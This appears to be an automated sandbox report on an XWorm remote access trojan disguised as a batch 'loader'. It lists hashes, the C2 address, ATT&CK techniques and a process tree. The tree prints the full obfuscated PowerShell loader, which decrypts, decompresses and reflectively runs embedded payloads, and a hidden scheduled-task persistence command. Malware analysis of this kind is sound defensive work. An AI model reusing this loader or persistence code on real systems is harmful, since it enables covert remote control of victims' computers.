xworm | f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
04/03/2025, 03:31

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General

Target

Vclient3.12-loader.bat
Size

337KB
MD5

b0b26501fa33bc553f9a54ca28a89a85
SHA1

9f868d7d464375d1ea60c5234f4dd057ea85fce1
SHA256

f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
SHA512

fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
SSDEEP

6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

45.88.91.55:8893

Attributes

Install_directory
%ProgramData%
install_file
sys-32.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1100-47-0x0000027F37860000-0x0000027F37892000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	1100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1100	powershell.exe
3080	powershell.exe
2100	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3080	powershell.exe
3080	powershell.exe
2100	powershell.exe
2100	powershell.exe
1100	powershell.exe
1100	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeIncreaseQuotaPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeTakeOwnershipPrivilege	2100	powershell.exe
Token: SeLoadDriverPrivilege	2100	powershell.exe
Token: SeSystemProfilePrivilege	2100	powershell.exe
Token: SeSystemtimePrivilege	2100	powershell.exe
Token: SeProfSingleProcessPrivilege	2100	powershell.exe
Token: SeIncBasePriorityPrivilege	2100	powershell.exe
Token: SeCreatePagefilePrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeRestorePrivilege	2100	powershell.exe
Token: SeShutdownPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeSystemEnvironmentPrivilege	2100	powershell.exe
Token: SeRemoteShutdownPrivilege	2100	powershell.exe
Token: SeUndockPrivilege	2100	powershell.exe
Token: SeManageVolumePrivilege	2100	powershell.exe
Token: 33	2100	powershell.exe
Token: 34	2100	powershell.exe
Token: 35	2100	powershell.exe
Token: 36	2100	powershell.exe
Token: SeIncreaseQuotaPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeTakeOwnershipPrivilege	2100	powershell.exe
Token: SeLoadDriverPrivilege	2100	powershell.exe
Token: SeSystemProfilePrivilege	2100	powershell.exe
Token: SeSystemtimePrivilege	2100	powershell.exe
Token: SeProfSingleProcessPrivilege	2100	powershell.exe
Token: SeIncBasePriorityPrivilege	2100	powershell.exe
Token: SeCreatePagefilePrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeRestorePrivilege	2100	powershell.exe
Token: SeShutdownPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeSystemEnvironmentPrivilege	2100	powershell.exe
Token: SeRemoteShutdownPrivilege	2100	powershell.exe
Token: SeUndockPrivilege	2100	powershell.exe
Token: SeManageVolumePrivilege	2100	powershell.exe
Token: 33	2100	powershell.exe
Token: 34	2100	powershell.exe
Token: 35	2100	powershell.exe
Token: 36	2100	powershell.exe
Token: SeIncreaseQuotaPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeTakeOwnershipPrivilege	2100	powershell.exe
Token: SeLoadDriverPrivilege	2100	powershell.exe
Token: SeSystemProfilePrivilege	2100	powershell.exe
Token: SeSystemtimePrivilege	2100	powershell.exe
Token: SeProfSingleProcessPrivilege	2100	powershell.exe
Token: SeIncBasePriorityPrivilege	2100	powershell.exe
Token: SeCreatePagefilePrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeRestorePrivilege	2100	powershell.exe
Token: SeShutdownPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeSystemEnvironmentPrivilege	2100	powershell.exe
Token: SeRemoteShutdownPrivilege	2100	powershell.exe
Token: SeUndockPrivilege	2100	powershell.exe
Token: SeManageVolumePrivilege	2100	powershell.exe
Token: 33	2100	powershell.exe
Token: 34	2100	powershell.exe
Token: 35	2100	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 4188	1488	cmd.exe	89
PID 1488 wrote to memory of 4188	1488	cmd.exe	89
PID 4188 wrote to memory of 1428	4188	net.exe	90
PID 4188 wrote to memory of 1428	4188	net.exe	90
PID 1488 wrote to memory of 3080	1488	cmd.exe	92
PID 1488 wrote to memory of 3080	1488	cmd.exe	92
PID 3080 wrote to memory of 2100	3080	powershell.exe	93
PID 3080 wrote to memory of 2100	3080	powershell.exe	93
PID 3080 wrote to memory of 3324	3080	powershell.exe	96
PID 3080 wrote to memory of 3324	3080	powershell.exe	96
PID 3324 wrote to memory of 2680	3324	WScript.exe	97
PID 3324 wrote to memory of 2680	3324	WScript.exe	97
PID 2680 wrote to memory of 1756	2680	cmd.exe	99
PID 2680 wrote to memory of 1756	2680	cmd.exe	99
PID 1756 wrote to memory of 3616	1756	net.exe	100
PID 1756 wrote to memory of 3616	1756	net.exe	100
PID 2680 wrote to memory of 1100	2680	cmd.exe	101
PID 2680 wrote to memory of 1100	2680	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_237_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_237.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2100
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_237.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_237.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2680
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1756
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:3616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_237.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_237.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f8d49a4af7a844bfc7247d5670def557

SHA1
26ae0ce194a77a7a1887cf93741293fdfa6c94c4

SHA256
61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

SHA512
9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rg15wbz.wor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_237.bat

Filesize
337KB

MD5
b0b26501fa33bc553f9a54ca28a89a85

SHA1
9f868d7d464375d1ea60c5234f4dd057ea85fce1

SHA256
f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

SHA512
fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_237.vbs

Filesize
115B

MD5
b86becab049b29b680d87848833124bf

SHA1
0360b81d38586be27f52e4e1b744b7821088cbd2

SHA256
44a3186524c763c49e637e8e53a3a9c441a2788cf6314dab1f17831f6204007b

SHA512
5c9c274d7eea774c4bcda5fd66ece0476aebb62981e45609b6e6ebf45a61245bd1f941960b53cf33cbd4881cf0a7141bc0b06848b605a2213ed9a22ac89f378c

Download Submit
memory/1100-47-0x0000027F37860000-0x0000027F37892000-memory.dmp

Filesize
200KB

Download
memory/2100-28-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

Filesize
10.8MB

Download
memory/2100-25-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

Filesize
10.8MB

Download
memory/3080-11-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

Filesize
10.8MB

Download
memory/3080-14-0x000001D3ED7F0000-0x000001D3ED832000-memory.dmp

Filesize
264KB

Download
memory/3080-13-0x000001D3ED7E0000-0x000001D3ED7E8000-memory.dmp

Filesize
32KB

Download
memory/3080-12-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

Filesize
10.8MB

Download
memory/3080-0-0x00007FFADCFD3000-0x00007FFADCFD5000-memory.dmp

Filesize
8KB

Download
memory/3080-1-0x000001D3EB530000-0x000001D3EB552000-memory.dmp

Filesize
136KB

Download
memory/3080-48-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

Filesize
10.8MB

Download